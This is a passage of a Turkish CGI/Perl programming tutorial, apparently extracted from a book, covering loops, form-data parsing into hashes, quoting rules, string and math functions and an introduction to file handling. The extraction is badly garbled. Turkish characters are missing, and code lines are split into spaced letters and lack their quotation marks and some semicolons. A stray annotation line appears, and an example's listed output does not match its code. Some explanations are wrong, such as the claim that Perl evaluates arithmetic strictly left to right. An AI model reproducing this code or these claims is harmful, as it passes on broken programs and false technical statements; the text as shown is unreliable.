olduunu gryoruz. Dng (loop) programcln varolma sebebidir! Herhangi bir
CGI / Perl 63
programn bir kerede yapt ii nasl olsa herkes elle kendisi yapabilir. Fakat ayn i
defalarca tekrar edecekse, bilgisayara ve bilgisayarn bi ii yapmasn salayacak olan
programa ihtiya var demektir. Perle bir ii sonulanncaya kadar yaptran, yani baa
dnerek, ayn ii yeniden yapmasn salayan bir ka dng deyimi vardr. Bunlar while,
next..last, for ve foreach deyimleridir.
Bir programn icras srasnda deikenlerin deeri deiebilir. (Bouna deiken
demiyoruz, deil mi?) while karlatrma deyimi, tpk yukarda ele aldmz if gibi bir
deikenin deerinin belirli bir deere eit kalmas halinde dorudur; ve snama sonucu
doru ise sonraki, deilse while blokunu izleyen ilk deyim icra edilir. Bir rnek verelim:
$sayac = 0;
whi l e( $sayac < 10) {
print Saya deikenin deeri: $sayac\ n;
$sayac += 1;
}
print saya deikeni $sayac oldu!;
Burada Perl, $sayacn deeri 10un altnda olduu srece ekrana saya
deikeninin deeri: kelimelerini ve deikenin o andaki deerini yazdracak ve deikenin
deerini 1 arttracaktr. (Aritmetik ilemlere sonra daha yakndan bakacaz!) while
blokunun sonu olan ssl paranteze ulatnda Perl, bu blokun bana dnecek ve
verdiimiz koulu yeniden snayacaktr. $sayac deikeni eer hal 10un altnda ise, Perl
while deyimini yeniden icra edecek yani ekrana saya deikeninin deeri: kelimelerini ve
deikenin o andaki deerini yeniden yazdracak ve deikenin deerini 1 arttracaktr. Ta
ki, snama sonucu $sayac deikeninin deerinin 10 olduunu gsterinceye kadar. Perl
bunu belirledii anda while blokunun dna kacak ve son deyimi icra edecektir.
Bu arada, while() fonksiyonu ile dngnn yazlna dikkat edin: dng bloku, yani
while() iin ileri srdnz koulu ieren parantez kapandktan sonraki blm, ssl
parantez iinde ve bu bloku kapatan ssl parantezden sonra noktal virgl yok.
while blokunda sonsuz-dng denen hataya dmek ok kolaydr. Perl, bir trl
gereklemeyen while koulu ile karlat zaman sonsuza kadar bu blokun iinde kalr. Bu
durumda ne olur? Yukardaki kodda u deiiklii yapn ve sonucu grn:
$sayac = 0;
Dikkat! Bu sonsuz-dngden kmann tek yolu, Browser kapatmaktr!
CGI / Perl 64
while ne kadar kullanl olursa olsun, bir programda karlaabileceimiz her trl
koulu snamaya yetmez. onun eksik brakt durumlar, for ve foreach ile karlayabiliriz.
for deyimi snadnz koul gerekleinceye kadar devam eder. Yukardaki saya
rneini for iin yazalm:
f or ( $sayac = 0 ; $sayac < 10 $sayac += 1) {
print Saya deikeni: $sayac;
}
print Saya deikeni: $sayac oldu!;
Bu kodun yapt ilem yukardaki while ile ayn olduu iin for deyiminin ne kadar
kullanl olduu grlemeyebilir. Fakat aadaki kodu Not Defteri ile yazar ve mesela
hex.pl adyla kaydederek, altrrsanz; 255e kadar ondalk saylar 16 tabanl say
sistemine (Heksadesimal) evirebilirsiniz. (imdilik ele almadmz fonksiyonlara ve
deyimlere aldrmayn!)
#!/usr/local/bin/perl
#hex.pl
print "HTTP/1.0 200 OK\n";
print "Content-Type: text/html\n\n";
print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>HEX</TITLE>\n";
print "<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-
8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=windows-1254\">\n";
print "</HEAD>\n";
print "<BODY>\n";
print "<H4>Desimal - Heksadesimal evirmeni</H4>\n";
@Heksadesimal = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A',
'B', 'C', 'D', 'E', 'F');
for($i = 0; $i <= 255; $i++) {
CGI / Perl 65
print sprintf("%3s", $i), "=", $Heksadesimal[int($i / 16)],
$Heksadesimal[$i % 16], " ";
if(($i % 8) == 7) {
print "\n"
}
print "<br>\n";
}
print "</BODY>\n";
print "</HEAD>\n";
print "</HTML>\n";

/////////////////////////KUTU///////////////////////
Tek Trnak.. ift Trnak..
Perlde tek trnak-ift trnak farkna daha nce deindik ve tek trnak iine aldnz
Stringin iinde sadece ekranda grntlenebilen karakterler yer aldn belirttik.
Stringlerimiz grntlenemeyen karakter deerlerini ieriyorsa, bu dizeyi mutlaka ift
trnak iine almamz gerektiini belirttik. Tek trnak-ift trnak farknn bir dier sonucunun
ise Stringin iine deiken koyduumuz zaman ortaya ktn syledik. u rnee bakn:
$ad = Must af a
print Senin adn $ad.
Bu durumda ekranda u sonucu elde ederiz:
Senin adn $ad.
Perln verdiimiz String iinde yer alan deikenin deerini bularak, deiken ad
yerine deerini koymasn istiyorsak, print() fonksiyonunu ift trnakla yazmamz gerekir:
$ad = Must af a
print Senin adn $ad.
Bu durumda u sonucu elde ederiz:
Senin adn Mustafa.
CGI / Perl 66
/////////////////////KUTU BTT////////////////////////////////
Bu rneklerde de grdmz gibi, for deyiminin blm vardr; snanmasn
istediimiz deikenin balangtaki durumu ($sayac = 0), sonra aranacak koul ($sayac <
10) ve bu koul gerekleinceye kadar her admda deikende olacak deiiklik ($sayac +=
1), ve her admda icra edilecek komutlar ve deyimler. for deyimi snanan koul
gerekleinceye kadar kendi bloku iinde devam eder; koul yerine gelir gelmez, bloku
izleyen ilk deyime geer.
Kimi zaman snamay bir deikenin bir listeden alaca btn deerler iin tek tek
yapmak isteriz. Burada kilit kavram ilemin tek tek btn deerler iin yaplacak olmasdr.
Ki, bu deyimle, yola ktmz form_analiz.pl programndaki foreach deyimine dnm
oluyoruz!
Form ile aldmz ve @girdiler dizi-deikenine, tabir yerinde ise, stste ydmz
deerleri imdi tek tek ele alp, bir ilemden geirip, daha dzenli ekilde kullanlabilir
deiken/deer iftleri haline getirebiliris. Bu anlamda foreach deyimi mantksal bir
snamadan ok bir listedeki btn deerler iin ayr bir ilem yaplmas saylabilir.
form_analiz.pl programnn ilk foreach deyimini hatrlayalm:
f or each $gi r di ( @gi r di l er ) {
( $anaht ar , $deger ) = spl i t ( / =/ , $gi r di ) ;
Program bu deyimlerde, @girdiler dizisinin her bir elemann tek tek ele alp, bunu
iindeki eittir (=) iaretinden ikiye blp, birinci blmn $anahtar, ikinci blmn ise
$deger deikenine yazacaktr.
Bu aamada, @girdiler dizisinin iindeki her bir elemann alyoruz, bunu $girdi
deikenine atyoruz. @girdilerin szgelimi birinci elemann hatrlarsak, dngnn lik
admnda $girdi deikeninin deeri bu String oluturacak; yani, $girdinin deeri
adi=Mustafa+Durcan olacaktr. Ve split fonksiyonu bu Stringi eittir iaretinden ikiye
blerek, adi kelimesini $anahtar deikenine, Mustafa+Durcan kelimelerini $deger
deikenine atayacaktr. (kinci admda bu kez Adres kelimesi $anahtar deikenine,
Web+Teknikleri%2C+Istanbul Stringi ise $deger deikenine atanacaktr.)
Programmzn daha sonraki blmlerinde bu iki deikenin iinde baz metin
dzenleme ilemleri yaptran (eittir ve tilde iaretleri =~ bulunan satrlar) deyimler var,
ki onlara daha sonra dneceiz.
////////////////////KUTU/////////////////////
CGI / Perl 67
Metinleri birbirine Nokta ile ekleyebiliriz
Perln metin dzenleme fonksiyonlarna ayrntl olarak bakacaz; burada sadece
.= ilemi zerinde ksaca duralm.
Saylar toplarz; Stringleri ekleriz. Perl, mkemmel bir rapor yazma dili olarak icad
edildii iin olacak, bir ok metin dzenleme aracna ek olarak, zel bir metin ekleme
operatrne sahiptir: Nokta. Bunu bir rnekle anlatmak daha kolay:
$met i n1 = kar a ;
$met i n2 = deni z ;
pr i nt $met i n1 . $met i n2;
bize, tahmin ettiiniz gibi unu verir:
kar adeni z
Belki ekrana dorudan karadeniz yazdrmann daha kolay yollar bulunabilir; ama
nokta ile metin ekleme ilevinden zellikle mevcut bir deikenin sonuna yeni ek
yaptrmakta yararlanabiliriz.
Diyelim ki, yle bir liste yapyoruz:
$arkadaslar = Mustafa, Osman, Vildan, Kudret
Fakat programn daha ileri bir aamasnda $yeni_arkadaslar deikenine yeni isimler
eklediniz. imdi bu iki listeyi birletirmeniz gerekiyor. Deikenin tmn yazmak yerine,
Perle, Bu deikeni al, iindekileri u deikenin iindeki Stringin sonuna ekle! demek
daha kolay olabilir:
$ar kadasl ar = $ar kadasl ar . $yeni _ar kadasl ar ;
Eer bu da size ok zahmetli grnyorsa, Perln u kolaylndan
yararlanabilirsiniz:
$ar kadasl ar . = $yeni _ar kadasl ar ;
/////////////////////////////KUTU BTT////////////
$anahtar ve $deger deikenlerimizin iinde dngnn her admnda sadece birer
String var ve ikinci adma gemeden nce bu Stringleri temelli bir yere yazmak
zorundayz; ki ikinci admda @girdilerin bir sonraki deerini alalm. ki Stringi yanyana
alabiler ve birincisini ikincisinin endeksi (Perl diliyle anahtar), ikincisini de birincisinin
deeri yapabileceimiz deiken tr likili Dizi (Hash, associative Array) listesidir. imdi
CGI / Perl 68
eer foreach dngsnn birinci admnda elimizdeki iki deikeni bir likili Diziye atarsak,
dngnn ikinci admnda $anahtar ve $deer deikenlerine @girdilerden yeni Stringler
alabiliriz. likili Dizi oluturmann eitli yollarn ele almtk; bunlardan biri uydu:
$iliski_dizi_degisken_ismi{$anahtar_ismi_olacak_deger} = $deger_olacak_deger
Bunu bir rnekle yazalm:
$f or mver i {$anaht ar } = $deger ;
Buradaki ssl parantezi grnce Perl, bir likili Dizi oluturmak istediimizi ve
onun bir anahtar olarak $anahtar adl deikenin deerini, bu anahtarn kart olan deer
olarak da $deger deikenin deerini atamak istediimizi anlar; %formveri adndaki
likili Dizi deikeni oluturur, birinci kaydn anahtar olarak $anahtar deikeninin o
sradaki deerini, deeri olarak da $deger deikeninin o andaki deerini atar. foreach
dngsnn birinci admnda $anahtarn deeri adi, $degerin deeri ise iinden art
iaretini atp yerine boluk koyduumuz Mustafa Durcan idi. kinci admda, %formverinin
ikinci kaydnn anahtar Adres, deeri ise Web Teknikleri.. olacak ve bu foreachin
sonuna kadar devam edecek. foreach ise @girdilerin son elemannn ilenmesi ile sona
erecek.
Dikkat etmi olacanz gibi %formverinin kaytlarn da if ile bir mantk szgecinden
geiriyoruz. Formlarmzda, bazen ayn alan adna sahip olabilen INPUT etiketleri
bulanabilir. Bu etiketler dolaysyla Formdan CGIya gelen veri yumanda daha sonra
likili Dizime anahtar olarak yazlmak zere ayn kelimeden birden fazla bulunabilir. Bunu
kabul edemeyiz, nk likili Dizilerde anahtarlarn zgn, yani bir adet olmas gerekir.
foreach dngsnn sonundaki bu if deyimi, o anda elimizdeki anahtarn daha nce diziye
yazlp yazlmadn snamaktadr. %formveride bu adla daha nce yazlm anahtar varsa,
o anda $deerin tuttuu String, daha nce yazlm anahtarn kart olan deerin sonuna,
virgl ile eklenecektir ($formveri{$anahtar} .= ", $deger";); eer henz bu anahtar diziye
yazlmamsa, kendisi zgn bir kaydn anahtar, o andaki $deger de deeri olacaktr
($formveri{$anahtar} = $deger;).
form_analiz.plin geri kalan blm, %formveri dizisinin anahtar/deer iftlerini
ekrana yazdrmaktan ibaret.
Buraya kadar aslnda byk i baardk diyebiliriz. Bir ok kiinin belki de CGI ve
Perl ihtiyacnn balca kayna olan Form bilgisini alp, ilemeyi ve bunu ekrana dkmeyi
baardk:
<cgi-perl012.tif>
CGI / Perl 69
imdi ekrandaki bu dkm ileminin biraz daha dzenli olmasn salayalm ve bu
veriyi ekrana deil de HTTP Servern bulunduu bilgisayarda sabit diske yazdralm.
CGI / Perl 70
Metin, Say ve Dosya lemleri
imdi artk Perl bildiinize gre.. Evet, evet; hi merak etmeyin; buraya kadar
rnekleri birlikte yaptk ve ele aldmz fonksiyonlar ve deyimleri kullanabilir hale geldi
isek, Perl biliyoruz demektir.
imdi bu kadar Perl ile neler yapabileceimize gelelim.
Perl ile matematik ilemleri yapabiliriz; metin oluturur, sabit diskteki metin
dosyalarndan veya Internetten metin alabiliriz, bu metinleri yeniden biimlendirebiliriz, ve
aldmz ya da oluturduumuz metinleri ya Internette birilerine gndeririz, ya da daha
sonra gnderilmek zere sabit diske yazabiliriz. Bu cmleye bakarsanz, Perl ile neredeyse
dnyay ynetebiliriz! (Dnrseniz, dnyay ynetmek de sadece buradaki ilemleri
yapmaktan ibaret!)
Burada ifade ettiimiz ilevlerin, dosya ilemleri hari, hemen hepsini nceki
blmde grdk ve hatta kullandk. Bu blmde bu ilerin biraz teorisine ve bol bol
rneine bakacaz ve dosya ilemleri ile ilgisini greceiz. nternet sitenizi ziyaret
edenlerin dolduraca Formlarn bir yerlere kaydedilmesini isteriz sonu itibariyle, deil mi?
nce biraz Perl reklam!
Perl, adndan da anlalaca gibi bir rapor yazma dilidir. Yani Perl ile yazacanz
programlar, bir yerden bilgi eker ve bilgiyi rapor haline getirirler. Dolaysyla Perln ok
gl metin ve say dzenleme aralar vardr. Bu aralara deinmeden nce, benim daima
Hangisi hangisiydi? diye kartrdm tek trnak-ift trnak meselesini yeniden
hatrlayalm. Bu karkln kaynak noktas, grnrde iki tr trnak iaretinin de ayn ilevi
yapyor olmasdr. rnek:
$Met i n1 = Mer haba Dnya! ;
$Metin2 = Sana da merhaba, ey ademolu!;
pr i nt $Met i n1;
pr i nt $Met i n2;
Bu program altrn ve ekranda okuduunuz yazlara ltfen dikkat edin; sonra
$Metin1i tek-trnak, $Metin2yi ift trnak iareti iinde tanmlayn ve program tekrar
altrn. Ne deiti? Hi bir ey.
CGI / Perl 71
Bu duruma bakarak, ilk grte Perlde tek trnak iareti ile ift trnak iaretinin
farkn nemsememek mmkndr. Fakat bu ilerde byk hatara yol aabilir. Tekrar
zetlersek (bu sayfann kesini kvrsanz iyi olur!)B tek trnak iareti iindeki hereyi
aynen yazadrr; ift trmak iareti iindeki deikenlerin deerlerini, zel iaretlerin de
temsil ettikleri karakterlerin yazlmasn salar.
Yukardaki program yle deitirebilirsiniz:
$Metin1 = Sana da merhaba, ey ademolu!;
pr i nt Mer haba Dnya. . . $Met i n1 ;
Program altrn. Gzel! Deikenin deerini deil adn okumu olmalsnz:
Mer haba Dnya. . . $Met i n1
Programnzda print() fonksiyonundaki tek-trnak iaretlerini ift trnak yapn ve
yeniden altrn:
$Metin1 = Sana da merhaba, ey ademolu!;
pr i nt Mer haba Dnya. . . $Met i n1 ;
Merhaba Dnya... Sana da merhaba, ey ademolu!
ift trnak iaretinin bir dier marifeti, iindeki zel karakter simgelerinin yerine bu
karakterleri koymasdr:
$Metin1 = Sana da merhaba, ey ademolu!;
pr i nt \ $Met i n1 = $Met i n1;
Burada Perln ekrana yazd $Metin1 kelimesi aslnda bizim deikenimizin ad
deil, ekrana yazdrdmz zel Dolar iareti ile Metin1 kelimesinden ibarettir:
$Metin1 = Sana da merhaba, ey ademolu!
Ekrana tek veya ift trnak yazdrmak iin de \ ve \ iaretlerini kullanmanz gerekir.
Fakat bu bir sre sonra epey zahmetli olmaya balar. Perl, bizi bundan da kurtarabilir.
Bunu iinde zel karakterler olan metnimizi q/.../ ve qq/.../ iaretleri arasna alarak
yapabiliriz:
$Metin1 = q/Bu metnin iinde zel iaret (%, &, $) ve bulunuyor./;
Burada q/.../ ile qq/.../ tpk tek trnak-ift trnak farkna yol aar:
$Met i n1 = Mer haba Dnya! ;
$Met i n2 = qq/ $Met i n1. . Sana da mer haba evl ad! / ;
CGI / Perl 72
q ve qq iaretlerinden sonra snrlayc olarak /.../ iareti gibi parantez (...),
keli parantez [...], ssl parantez {...} ve byktr-kktr <...> iaretlerini
kullanabilirsiniz. Burada dikkat edilecek nokta bata kullandnz iareti sonda da
kullanmaktr.
//////////////////////////////KUTU///////////////////////////
Uzuuuuun metin
Perln sizi ok uzun metinleri trnak iareti iine almaktan kurtaran bir kolayl
vardr; bunu << iareti ve bir snrlama Stringi ile yapabiliriz:
$Uzuuun_met i n = <<" uzun_met i n" ;
Insanoluna en ok g veren unsurlarn banda sevilmek gelir. Fakat kiinin
sevildiini kabul etmesi zordur; hele hereyin kara dayand amzda,
karlksz sevgiyi grnce tanmak, tanynca kabul etmek hi de kolay
ol muyor . - - I mmanuel L' Avanger
uzun_met i n
pr i nt $Uzuuun_met i n;
Burada $Uzuun_metin deikenin ad, uzun_metin ise snrlama Stringidir.
Snrlama Stringini uzun metnin hem banda, hem de sonunda kullanyoruz. Snrlama
Stringini tek trnak iine alrsanz, dier yntemlerde tek trnak kullandnz durumlardaki
gibi, metnin iinde deiken ad ve zel karakter kullanamazsnz; snrlama deikenini ift
trnak iine alrsanz, uzun metnin iinde deiken ad kullullanlrsa. Perl onun yerine
deimenin deerini koyar.
///////////////////////////////KUTU BTT///////////////////////
Metin Biimlendirme
Perlde metin ieren deikenlerle zellikle print() fonksiyonunda kullandmz tek
ve ift trnak iaretlerinin ilikisini ayrntl olarak grmenin ne kadar yararl olduu birazdan
belli olacak. imdi metinler ve metin ieren deikenlerle neler yapabileceimize
bakabiliriz. Hereyden nce, Perl, metinlerle drt ilem yapmanza izin verir; ama bu drt
ilem aritmetikten biraz farkl sonu verir:
CGI / Perl 73
Toplama: Daha nce deindiimiz metin dzenleme aralarndan biri, iki Stringi
birbirine eklemekte kullandmz nokta (.) iareti idi. (rnek: print kara . deniz) Bu
imkandan sabit metinlerle deikenleri birletirmekte yararlanabiliriz.
pr i nt Bu sayf a $t ar i h . \ de gncelletirildi!
arpma: Perln metin toplama fonksiyonu nokta iareti ise, metin oaltma
fonksiyonu da arpma (x) iaretidir. Perlde bu fonksiyona tekrarlama (Repetition) denir.
(xin, kk harf olmasna dikkat edin) rnek:
pr i nt Mer haba Dnya. . x 10
kartma: Genellikle disklerdeki dosyalardan alacamz metinlerin son satrnda yeni
satr (Enter, Return) karakteri bulunur. Bu, aldmz metni HTML etiklerinin iine
yerletirirken bize zorluk verir. Perl bunun iin bir Stringin son karakterini kesip atmay
salayan zel iki fonksiyona sahiptir. chop() fonksiyonu, metnin sonundaki bir karakteri
keser:
$yedi _har f = ABCDEF;
$gi den_har f = chop( $yedi _har f )
pr i nt \ $yedi _har f \ de alt harf kald: $yedi_harf. \ $gi den_har f =
$gi den_har f ;
Perl 5de ayn ilevi yapan chomp() fonksiyonu ise, bir nceki gre daha aklldr;
kimi dosyalarda yeni satr+satrba karakterlerinin iki karakterlik yer tuttuunu bilerek, ne
kadar karakter attacana kendisi karar verir. chop yerine chomp kullanmak daima daha
gvenlidir.
Transformasyon: Herhalde metinlerle drt aritmetik ilemden blmeyi yapamyor
diye Perle kzmazsnz. Perln buna karlk deikenlerin gerek ieriklerini deitirme
marifeti vardr. Tam ieriklerini deilse bile harflerinin biimini! Ve sadece Perl 5den
itibaren!
Bir metin byk harf olabilir; kk harf olabilir. Bir metnin birinci harfi byk
olabilir; kk olabilir. Perl deikendeki biimi ne olursa olsun, metinlerinizi sizin isteinize
gre byk harf veya kk harf yapabilir.
lc() fonksiyonu deiken iindeki biimi ne olursa olsun, btn Stringi kk harf
(lower case) ve uc() fonksiyonu ise btn Stringi byk harf (upper case) yapar.
////////////////////////////KUTU//////////////////////////////
CGI / Perl 74
Lower ve Upper Kasalar
ngilizcede byk harfe Upper Case, kk harfe de Lower Case dendiini daha
nce de duymu olmalsnz. Upper Case, (st kasa), eski matbaaclkta byk harflerin
durduu st kasann, Lower Case ise kk harflerin durduu alt kasann adyd. Buradan
dile geen bu tanmla bugn Perl dahil birok programlama diline kadar gelmeyi baard.
////////////////////////KUTU BTT/////////////////////
lcfirst() fonksiyonu Stringin sadece birinci harfini kk harf yapmaya zorlar;
ucfirst() ise sadece birinci harfi byk harf yapar. rnek:
$kucuk_har f = abcdef ;
$buyuk_har f = GHI J KLM;
pr i nt uc( $kucuk_har f ) ;
pr i nt l c( buyuk_har f ) ;
pr i nt l cf i r st ( $buyuk_har f ) ;
pr i nt ucf i r st ( kucuk_har f ) ;
Bu program srasyla u sonular verir:
kucuk_har f = ghi j kl m;
$buyuk_har f = ABCDEF;
$kucuk_har f = gHI J KL;
$buyuk_har f = Abcdef ;
Metin biimlendirme ileri srasnda bize gereken baz bilgiler olabilir. Bunlarn
banda Stringin uzunluu gelir. Bunu, Stringi tutan deikenin boyutunu linght()
fonksiyonu ile sorgulayarak reniriz:
$Metin1 = Dostluklar icek gibidir, daima bakm ister!:
pr i nt l engt h( $Met i n1) ;
Bu program u sonucu verir:
44
Bazen bir karakterin saysal deerini bilmek isteriz. Bunu, ord() fonksiyonu ile
salarz. rnein, K karakterinin saysal deerini renmek iin:
pr i nt or d( K ) ;
CGI / Perl 75
bosluk ve virgulude sayinca 44
u sonucu verir:
75
Aada metin biimlendirme ilemleri yaparken ihtiya duyacamz bir baka bilgi,
bir Stringin iinde belli bir konumdaki karakterlerin deeri olabilir. Perl, adn verdiiniz
deikenin iindeki deeri bulur; o deerde, belirttiiniz bir konumdan sonra belirttiiniz
saydaki karakterin (sub-Stringin, Stringin bir blnmnn) ne(ler) olduunu syler. Bu
bilgiye dayandmz ilemleri sonra greceiz; ama imdi sadece bunu salayan substr()
fonksiyonun kullanmn grelim:
$Metin1 = Bana dostunu syle; sana kim olduunu syleyeyim!:
pr i nt subst r ( $Met i n1, 3, 12) ;
Bu program ekrana a dostunu s yazdracaktr. substr() fonksiyonunun birinci
argman iinde arama yapacamz deikenin ad, ikinci argman aramaya balanacak
karakter poziyonu (Dikkat! Perl saymaya 0dan balayacaktr!), ve son argman bu
pozisyon dahil, ka karakterin belirleneceini gsteren saydr. Buradaki rnekte, Perle
$Metin1 deikeninde 3nci karakterden (Bana kelimesinin son a harfi) itibaren 12
karakterin neler olduunu sormu oluyoruz.
Metin dzenleme konusunda sk sk bavuracamz split(), chop(), chomp(),
shift(), unshift(), pop() ve push() fonksiyonlarn daha nce ele almtk.
Biraz da Matematik
Ben zaten matematikten kurtulmak iin programc olmutum! diyorsanz,
belki de hayatta size uygun tek programlama dili Perl saylr. Bundan, Perl de
matematikten holanmaz! sonucunu kartmayn; tersine matematikle ilgili btn
ileri Perl halleder; size sadece saylar vermek kalr. Baka programlama dillerinde,
bir deikene atayacanz saynn trn, tam say m, kesirli say m olduunu
belirtmeniz gerekir. Perl iin, say, saydr.
Perl, drt ilemi baaryla yapar. Bunun iin saylarn veya say tutan
deikenlerin arasnda, toplama, kartma, arpma ve blme iin srasyla +, -, * ve
/ iaretlerini kullanrz.
Dier btn diller gibi, Perlde de matematik ilemler soldan saa doru sra
ile yaplr. Yani, 10 + 3 * 2 / 4 komutu, Perl iin u anlam tar:
10 ile 3 topla, elde ettiin sayy iki ile arp; elde ettiin say drde bl.
CGI / Perl 76
Fakat sizin istediiniz daima bu sraya uygun olmayabilir. Eer nce 10 ile 3
toplansn, sonra 2, 4e blnsn ve elde edilen iki sonu birbiri ile arplsn
istiyorsanz, sonu ok farkl olacaktr. Perl, matematik ilemlerini istediiniz srayla
yapsn istiyorsanz, ilemleri parantez iine almalsnz. rnein, verdiimiz rnek
yle yazlabilir:
(10 + 3) * (2 / 4)
Perl ile bir saynn baka bir say ile ssn almak iin ** iaretini kullanrz:
5in 5nci kuvvetini bulmak iin 5**5 yazmanz yeterli.
Perl bir blme ileminin kalann (modulo) bulabilir. 10un 3e blnmesinde
kalan sayy bulabilmek iin 10 % 3 yazar ve bunu bir deikene atarsanz,
deikenin deeri 1 olur.
Perl, bir saynn nnde eksi iaretini grnce o says negatif yapar; negatif
bir saynn nnde eksi iareti grnce de pozitif yapar.
Perle bir deikenin tutuu say ile ilem yaptrtabilir ve sonucu yeni deer
olarak ayn deikende tutmasn bildirebilirsiniz:
$sayi1 = $sayi1 * 2; veya $sayi1 *= 2;
$sayi1 = $sayi1 + 2; veya $sayi1 += 2;
$sayi1 = $sayi1 2; veya $sayi1 -= 2;
$sayi1 = $sayi1 / 2; veya $sayi1 /= 2;
Perlde bir deikenin tuttuu deeri 1 arttrma veya 1 eksiltme izin zel bir
deyim vardr;
$say1 ++;
deikenin deerini 1 arttrr;
$say1 --;
deikenin deerini 1 eksiltir.
(Ve imdi Perlden sonra renmeye karar verdiiniz C++ ile C dilleri
arasndaki fark ve uzun uzun sre bilgisayarla ayn odada kalmann kiinin mizah
gcne etkisini renmi bulunuyorsunuz!)
/////////////////////KUTU////////////////////
CGI / Perl 77
++nin garip oyunu
Diyelim ki elinizde deeri 10 olan $Say1 deikeni var. Perle $Say1i 1
arttr ve bulacan deeri $Say2ye ata! demek istiyorsunuz. Bu deyimi:
$Say2 = $Say1++
eklinde yazarsanz, $Say1, 11 olur; ama $Say2ye 10 deeri verilir.
Bunu nlemek iin bu deyimi yle yazmanz gerekir:B
$Say2 = ++$Say1
////////////////////////KUTU BTT////////////////////
Perln saylarda kullanabileceiniz baz dier fonksiyonlar vardr:
Karekk: sqrt()
Logaritma: log()
Mutlak say: abs()
Blme ileminin tam says: int()
Bunlar birarada snayabileceiniz bir rnek program u olabilir:
$sayi 1 = 210;
pr i nt " $sayi 1\ ' i n kar ekk : " . sqr t ( $sayi 1) ;
pr i nt " <p>\ n" ;
pr i nt " $sayi 1\ 'in logaritmas : ". log($sayi1);
pr i nt " <p>\ n" ;
pr i nt " e ni n $sayi 1 e eksponensi yel i : " . exp( $sayi 1) ;
pr i nt " <p>\ n" ;
$sayi 2 = - $sayi 1;
pr i nt " \ $sayi 2 = $sayi 2" ;
pr i nt " <p>\ n" ;
pr i nt " $sayi 2\ ' i n mutlak deeri : ". abs($sayi2);
pr i nt " <p>\ n" ;
$sayi 3 = $sayi 1 + 0. 4567;
CGI / Perl 78
pr i nt " \ $sayi 3 = $sayi 3" ;
pr i nt " $sayi 3\ 'in integer : ". int($sayi3);
Perl matematik sever dedik, deil mi? Fakat Perl, say ile metnin
toplanmayacan bilmez! Bu ikisini toplar; fakat elde ettii sonucu artk say
saymaz:
$Sayi 1 = 12345;
$Met i n1 = Zor dost um, zor ! ;
$Sayi 1 = $Sayi 1 . $Met i n1;
pr i nt $Sayi 1;
Biraz nce toplanabilir, kartlabilir bir say olan $Sayi1, artk bir Stringden
ibaret ve deeri 12345Zor dostum, zor! olmu bulunuyor.
Peki; bylece metinlerle uramann yollarndan bir ksmn rendik. Fakat
elimizde metin yok. nk henz Perle Git bu benim C: adl sabit diskte,
Belgelerim dizinindeki filanca isimli dosyay, al gel bakalm; gelirken bir de sade
kahve syle! demeyi bilmiyoruz. imdi bunun nasl yaplacan renelim, ki
Internetteki Formumuzdan alacamz bilgileri, rnein ziyareti defterimize yazlan
yazlar, diske kaydettirebilelim. Dosya amay ve Perle okumay-yazmay
rettiimizde kullanacamz bir iki fonksiyon daha var ki, onlar daha sonra
greceiz. Burada sadece bu fonksiyonlarn bir metinrde arama, bulma ve
deitirme ilevleri olduunu belirtmekle yetinelim.
Perlde Dosya lemleri
lk rendiiniz dosya ilemi, eer DOS dneminden beri PC ile
urayorsanz, dir komutu idi. Akp giden bir takm listelerle, sabit diskin iindeki
eyleri grebilirdik bu komutla. Sonra Windows, nce File Manager (Dosya
Ynetici) ile, sonra Windows Explorer (Windows Gezgini) ile sabit disk ve
disketlerimizin iindekileri, eitli simgelerle ekrandaki bir takm pencerelerde
grntler oldu. Unix dnyasnda, rnein Linuxta DOSun dir komutunun yapt
ilevi ls komutu ile yapatrabiliriz; fakat artk Unix bilgisayarlar da XWindow ile
grsel kullanc arabirime sahip oldu; orada da dosyal ilemlerini Mouse iaretisiyle
tklayarak yapabiliriz. MacOS ise, tasarland birinci gnden deilse bile ikinci
gnden beri dosya ilemleri iin grafik arabirimi kullanyor.
CGI / Perl 79
Dolaysyla, kiisel bilgisayarda dosya ilemleri dediimiz zaman, aklmza
ounlukla tklamak, srklemek ve brakmak geliyor. Bizim iin adeta
dnmeden yaplabilen bu ileri Perle yaptrabilmek iin, disk kayt sistemini biraz
yakndan tanmamz gerekir.
Dosya, sabit veya taklp-kartlabilen bir disk (veya CD-ROM) zerinde,
kayt yaplabilir bir ortama, balad ve bittii yer belirtilerek, belirli bir sisteme
gre ve byte birimiyle yaplm kayt demektir. Her bir kaydn balad ve bittii yer
ve bu ikisinin arasndaki kaydn ne adla anlaca yazlr. Bylece Askerlik
Mektubu.doc adl kaydn, arand zaman nerede bulunaca bilinir.
//////////////////KUTU///////////////////////
Biraz Unix Bilgisi
Unix iletim sisteminde sadece disk/disket/CD-ROMda kaytl bytelara dosya
denmez; klavyeden gelmekte olan, okunmakta olan bir sabit diskten alnan, veya
bilgisayara iletiim kaplarndan (Com Portlar veya a kartlar) girmekte olan veya
ekran ve iletiim kaplarndan kmakta olan veri de dosya saylr; bu zel dosyalara
Standart Girdi/kt (Standart Input/Output) dosyas denir. Bu dosyalar e ayrlr:
Standart Girdi (STDIN) dosyas: Tanm itibariyle klavyeden bilgisayara
ulamakta olan bilgi akmdr. Klavyeden bir programa ynelik olarak yazdnz
herey Standart Input saylr.
Standart kt (STDOUT) dosyas: Bilgisayarn ekranna gnderilen, dosyaya
yazlmak yerine ekrana yazlan her trl bilgi akmdr.
Standart Hata (STDERR) dosyas: ster ekrana, ister diske gnderilebilecek
bilgi akmdr. Unix iletim sistemlerinin byk bir blm bu bilgileri sabit diskte
dosyaya yazarlar.
Unix sistemleri, bu dosyay kullanarak bir programa veri verebilir veya
veri alabilirler.
//////////////////////////KUTU BTT/////////////////////
letim sistemi ne olursa olsun, dosyalar iki ana blme ayrrz: nsan
tarafndan okunabilen dosyalar; sadece makina tarafndan okunabilen dosyalar.
Dzyaz dosyalar, .INI dosyalar, .CONF dosyalar, herhangi bir dzyaz program ile
alp, okunabilir. Okuduunuz eyden anlam kmamas veya anlalr harf olarak
CGI / Perl 80
grntlenmeyen bir-iki karakter bulunmas dosyann yaz dosyas olma niteliini
deitirmez. Makina tarafndan okunabilir veya binary (ikili) dosyalar ise programlar
tarafndan okunabilir. rnein uzatmas EXE olan bir dosyay iletim sistemini
oluturan programlar okur. Boyutu kk bir EXE dosyasn srkleyerek Not
Defterinin iine brakrsanz, bu tr dosyalarn nasl bir ierie sahip olduunu
